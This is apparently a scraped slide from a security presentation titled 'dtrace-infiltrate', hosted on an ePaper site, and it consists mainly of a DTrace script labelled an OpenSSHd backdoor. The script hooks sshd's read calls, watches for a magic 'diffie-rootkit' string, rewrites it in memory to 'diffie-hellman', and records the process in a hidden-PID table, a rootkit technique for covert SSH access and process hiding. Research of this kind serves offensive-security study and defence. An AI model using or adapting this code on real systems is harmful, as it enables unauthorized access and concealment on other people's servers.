22.04.2013 Views

dtrace-infiltrate

dtrace-infiltrate

dtrace-infiltrate

SHOW MORE
SHOW LESS

You also want an ePaper? Increase the reach of your titles

YUMPU automatically turns print PDFs into web optimized ePapers that Google loves.

OpenSSHd Backdoor –<br />

read passwd hook<br />

syscall::read*:entry<br />

/gotpass != 1 && execname == "sshd"/<br />

{<br />

self->ispass = arg1;<br />

}<br />

syscall::read*:return<br />

/self->ispass != 0 && execname == "sshd" && (gotpass != 1) && strstr(copyinstr(self-<br />

>ispass+26,100),"diffie-rootkit") != 0/<br />

{<br />

copyout("diffie-hellman",self->ispass + 26 + index(copyinstr(self->ispass<br />

+26,100), "diffie-rootkit"),strlen("diffie-hellman"));<br />

self->ispass = 0;<br />

hiddenpids[ppid] = 1;<br />

gotpass = 1;<br />

}

Hooray! Your file is uploaded and ready to be published.

Saved successfully!

Ooh no, something went wrong!